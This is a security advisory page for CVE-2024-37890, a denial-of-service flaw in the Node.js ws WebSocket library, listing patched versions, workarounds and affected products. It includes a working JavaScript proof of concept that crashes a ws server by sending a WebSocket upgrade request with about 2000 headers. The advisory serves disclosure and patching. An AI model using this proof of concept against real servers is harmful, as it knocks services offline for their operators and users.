7.5
CWE
476
Advisory Published
Advisory Published
Updated

CVE-2024-37890: Denial of service when handling a request with many HTTP headers in ws

First published: Mon Jun 17 2024(Updated: )

### Impact A request with a number of headers exceeding the[`server.maxHeadersCount`][] threshold could be used to crash a ws server. ### Proof of concept ```js const http = require('http'); const WebSocket = require('ws'); const wss = new WebSocket.Server({ port: 0 }, function () { const chars = "!#$%&'*+-.0123456789abcdefghijklmnopqrstuvwxyz^_`|~".split(''); const headers = {}; let count = 0; for (let i = 0; i < chars.length; i++) { if (count === 2000) break; for (let j = 0; j < chars.length; j++) { const key = chars[i] + chars[j]; headers[key] = 'x'; if (++count === 2000) break; } } headers.Connection = 'Upgrade'; headers.Upgrade = 'websocket'; headers['Sec-WebSocket-Key'] = 'dGhlIHNhbXBsZSBub25jZQ=='; headers['Sec-WebSocket-Version'] = '13'; const request = http.request({ headers: headers, host: '127.0.0.1', port: wss.address().port }); request.end(); }); ``` ### Patches The vulnerability was fixed in ws@8.17.1 (https://github.com/websockets/ws/commit/e55e5106f10fcbaac37cfa89759e4cc0d073a52c) and backported to ws@7.5.10 (https://github.com/websockets/ws/commit/22c28763234aa75a7e1b76f5c01c181260d7917f), ws@6.2.3 (https://github.com/websockets/ws/commit/eeb76d313e2a00dd5247ca3597bba7877d064a63), and ws@5.2.4 (https://github.com/websockets/ws/commit/4abd8f6de4b0b65ef80b3ff081989479ed93377e) ### Workarounds In vulnerable versions of ws, the issue can be mitigated in the following ways: 1. Reduce the maximum allowed length of the request headers using the [`--max-http-header-size=size`][] and/or the [`maxHeaderSize`][] options so that no more headers than the `server.maxHeadersCount` limit can be sent. 2. Set `server.maxHeadersCount` to `0` so that no limit is applied. ### Credits The vulnerability was reported by [Ryan LaPointe](https://github.com/rrlapointe) in https://github.com/websockets/ws/issues/2230. ### References - https://github.com/websockets/ws/issues/2230 - https://github.com/websockets/ws/pull/2231 [`--max-http-header-size=size`]: https://nodejs.org/api/cli.html#--max-http-header-sizesize [`maxHeaderSize`]: https://nodejs.org/api/http.html#httpcreateserveroptions-requestlistener [`server.maxHeadersCount`]: https://nodejs.org/api/http.html#servermaxheaderscount

Credit: security-advisories@github.com

Affected SoftwareAffected VersionHow to fix
npm/ws>=8.0.0<8.17.1
8.17.1
npm/ws>=7.0.0<7.5.10
7.5.10
npm/ws>=6.0.0<6.2.3
6.2.3
npm/ws>=2.1.0<5.2.4
5.2.4
redhat/ws<5.2.4
5.2.4
redhat/ws<6.2.3
6.2.3
redhat/ws<7.5.10
7.5.10
redhat/ws<8.17.1
8.17.1
IBM Cognos Analytics<=12.0.0-12.0.3
IBM Cognos Analytics<=11.2.0-11.2.4 FP4

Never miss a vulnerability like this again

Sign up to SecAlerts for real-time vulnerability data matched to your software, aggregated from hundreds of sources.

Parent vulnerabilities

(Appears in the following advisories)

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2024 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203